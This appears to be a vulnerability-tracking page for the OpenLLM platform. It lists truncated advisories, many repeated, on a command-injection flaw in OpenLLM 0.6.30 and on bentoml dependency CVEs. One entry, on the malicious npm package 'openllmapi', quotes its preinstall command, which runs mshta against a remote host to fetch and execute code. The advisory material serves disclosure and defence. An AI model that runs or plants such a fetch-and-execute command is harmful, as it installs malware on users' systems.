OpenLLM Panel - Detect

OpenLLM is an open-source platform for running and deploying LLMs in production. It is built by BentoML and provides an OpenAI-compatible API server with a web UI for model management. !/usr/bin/env python3 -- coding: utf-8 -- """OpenLLM is an open-source platform for running and deploying LLMs i...

Arbitrary Command Injection

Overview openllm is an OpenLLM: Self-hosting LLMs Made Easy. Affected versions of this package are vulnerable to Arbitrary Command Injection via the asyncruncommand function in the Model Repository Directory Name Handler process. An attacker can execute arbitrary system commands by manipulating t...

CVE-2026-15035

A vulnerability was found in bentoml OpenLLM 0.6.30. This affects the function asyncruncommand of the file src/openllm/common.py of the component Model Repository Directory Name Handler. Performing a manipulation of the argument cmd results in command injection. Attacking locally is a requirement...

PYSEC-2026-2089

A vulnerability was found in bentoml OpenLLM 0.6.30. This affects the function asyncruncommand of the file src/openllm/common.py of the component Model Repository Directory Name Handler. Performing a manipulation of the argument cmd results in command injection. Attacking locally is a requirement...

PYSEC-2026-2089

A vulnerability was found in bentoml OpenLLM 0.6.30. This affects the function asyncruncommand of the file src/openllm/common.py of the component Model Repository Directory Name Handler. Performing a manipulation of the argument cmd results in command injection. Attacking locally is a requirement...

EUVD-2026-42271

A vulnerability was found in bentoml OpenLLM 0.6.30. This affects the function asyncruncommand of the file src/openllm/common.py of the component Model Repository Directory Name Handler. Performing a manipulation of the argument cmd results in command injection. Attacking locally is a requirement...

CVE-2026-15035

A vulnerability was found in bentoml OpenLLM 0.6.30. This affects the function asyncruncommand of the file src/openllm/common.py of the component Model Repository Directory Name Handler. Performing a manipulation of the argument cmd results in command injection. Attacking locally is a requirement...

CVE-2026-15035 bentoml OpenLLM Model Repository Directory Name common.py async_run_command command injection

A vulnerability was found in bentoml OpenLLM 0.6.30. This affects the function asyncruncommand of the file src/openllm/common.py of the component Model Repository Directory Name Handler. Performing a manipulation of the argument cmd results in command injection. Attacking locally is a requirement...

CVE-2026-15035

Bentoml OpenLLM 0.6.30 is affected by a command-injection in async_run_command (src/openllm/common.py, Model Repository Directory Name Handler). The vulnerability stems from manipulation of the cmd argument, enabling local exploitation. Public exploit details exist, and attack requires local acce...

CVE-2026-15035 bentoml OpenLLM Model Repository Directory Name common.py async_run_command command injection

A vulnerability was found in bentoml OpenLLM 0.6.30. This affects the function asyncruncommand of the file src/openllm/common.py of the component Model Repository Directory Name Handler. Performing a manipulation of the argument cmd results in command injection. Attacking locally is a requirement...

CVE-2026-15035

A vulnerability was found in bentoml OpenLLM 0.6.30. This affects the function asyncruncommand of the file src/openllm/common.py of the component Model Repository Directory Name Handler. Performing a manipulation of the argument cmd results in command injection. Attacking locally is a requirement...

CVE-2026-15035 bentoml OpenLLM Model Repository Directory Name common.py async_run_command command injection

A vulnerability was found in bentoml OpenLLM 0.6.30. This affects the function asyncruncommand of the file src/openllm/common.py of the component Model Repository Directory Name Handler. Performing a manipulation of the argument cmd results in command injection. Attacking locally is a requirement...

CVE-2026-15035: Improper Neutralization of Special Elements used in a Command

A vulnerability was found in bentoml OpenLLM 0.6.30. This affects the function asyncruncommand of the file src/openllm/common.py of the component Model Repository Directory Name Handler. Performing a manipulation of the argument cmd results in command injection. Attacking locally is a requirement...

PT-2026-56417

Name of the Vulnerable Software and Affected Versions bentoml OpenLLM version 0.6.30 Description Command injection is possible within the Model Repository Directory Name Handler component. This occurs when the cmd argument is manipulated in the async run command function located in the...

ai-dynamo (>=0.1.0, <=0.3.0), llama-index-llms-openllm (>=0.2.0, <=0.4.0) +1 more potentially affected by CVE-2025-54381 via bentoml (>=1.4.1, <=1.4.8)

bentoml PYPI version =1.4.1, =0.1.0, =0.2.0, =0.6.20, =0.6.30 Source cves: CVE-2025-54381 Source advisory: OSV:PYSEC-2026-297...

ai-dynamo (0.1.0), openllm (0.6.19) potentially affected by CVE-2025-27520 via bentoml (>=1.4.0a2, <=1.4.1)

bentoml PYPI version =1.4.0a2, =1.4.1 is affected by a known vulnerability. The following packages have a transitive dependency on bentoml and may be impacted: - ai-dynamo 0.1.0 - openllm 0.6.19 Source cves: CVE-2025-27520 Source advisory: OSV:PYSEC-2026-294...

ai-dynamo (0.1.0), bentoctl (0.2.3) +6 more potentially affected by CVE-2024-9070 via bentoml (>=1.0.0a7, <=1.4.3)

bentoml PYPI version =1.0.0a7, =1.0.1, =0.3.12.dev20240709150559, =0.0.1, =1.0.3, =0.0.10, =0.6.20 - raptor-labsdk 0.3.2 Source cves: CVE-2024-9070 Source advisory: OSV:PYSEC-2026-295...

Malicious code in openllmapi (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9df5662b44b20595801c25919ac14689b71e89b8c1bdacceedc7ba1e9cf75c41 The package's preinstall lifecycle script preinstall.js line 3 runs cmd /c "mshta http://fixars.top", which causes Windows mshta.exe to download and...

ai-dynamo (>=0.1.0, <=0.3.0), bentoctl (0.2.3) +6 more potentially affected by CVE-2026-44346 via bentoml (>=1.0.0a7, <=1.4.8)

bentoml PYPI version =1.0.0a7, =0.1.0, =1.0.1, =0.3.12.dev20240709150559, =0.0.1, =1.0.3, =0.0.10, =0.6.30 - raptor-labsdk 0.3.2 Source cves: CVE-2026-44346 Source advisory: OSV:GHSA-W2PM-X38X-JP44...

ai-dynamo (>=0.1.0, <=0.3.0), bentoctl (0.2.3) +6 more potentially affected by CVE-2026-35044 via bentoml (>=1.0.0a7, <=1.4.8)

bentoml PYPI version =1.0.0a7, =0.1.0, =1.0.1, =0.3.12.dev20240709150559, =0.0.1, =1.0.3, =0.0.10, =0.6.30 - raptor-labsdk 0.3.2 Source cves: CVE-2026-35044 Source advisory: OSV:GHSA-V959-CWQ9-7HR6...